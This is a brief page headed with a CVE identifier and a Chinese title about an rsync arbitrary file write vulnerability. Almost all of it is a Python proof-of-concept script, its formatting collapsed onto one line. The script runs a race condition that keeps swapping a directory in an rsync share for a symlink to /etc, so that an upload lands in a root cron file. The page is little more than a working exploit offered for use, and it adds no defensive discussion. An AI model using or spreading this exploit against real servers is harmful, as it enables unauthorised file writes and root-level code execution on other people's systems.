CVE-2026-29518 Rsync 任意文件写入漏洞

import os import time import threading # Target file to overwrite (e.g., root's crontab) TARGET_FILE = "/etc/cron.d/root_poc" # Shared module path where we have write access MODULE_PATH = "/srv/rsync/share" # Directory name inside module to be swapped DIR_NAME = "subdir" def setup(): """Create the initial directory structure.""" if not os.path.exists(MODULE_PATH): os.makedirs(MODULE_PATH) os.makedirs(os.path.join(MODULE_PATH, DIR_NAME)) def race_condition(): """ Simulate the TOCTOU race condition. Continuously swap the directory with a symlink to trick rsync. """ real_dir = os.path.join(MODULE_PATH, DIR_NAME) symlink_target = "/etc" # Redirect writes to /etc while True: try: # Step 1: Replace real directory with symlink to /etc if os.path.exists(real_dir) and not os.path.islink(real_dir): os.rmdir(real_dir) os.symlink(symlink_target, real_dir) # Hold the symlink state briefly to catch the check time.sleep(0.005) # Step 2: Revert to real directory to avoid detection/failure if os.path.islink(real_dir): os.unlink(real_dir) os.makedirs(real_dir) time.sleep(0.005) except Exception as e: # Ignore errors due to race state continue if __name__ == "__main__": setup() # Start the race condition thread t = threading.Thread(target=race_condition) t.daemon = True t.start() print("[+] Race condition started. Trigger rsync upload now...") print("[+] Attempting to write to", os.path.join(MODULE_PATH, DIR_NAME, "payload_file")) # Keep script running while True: time.sleep(1)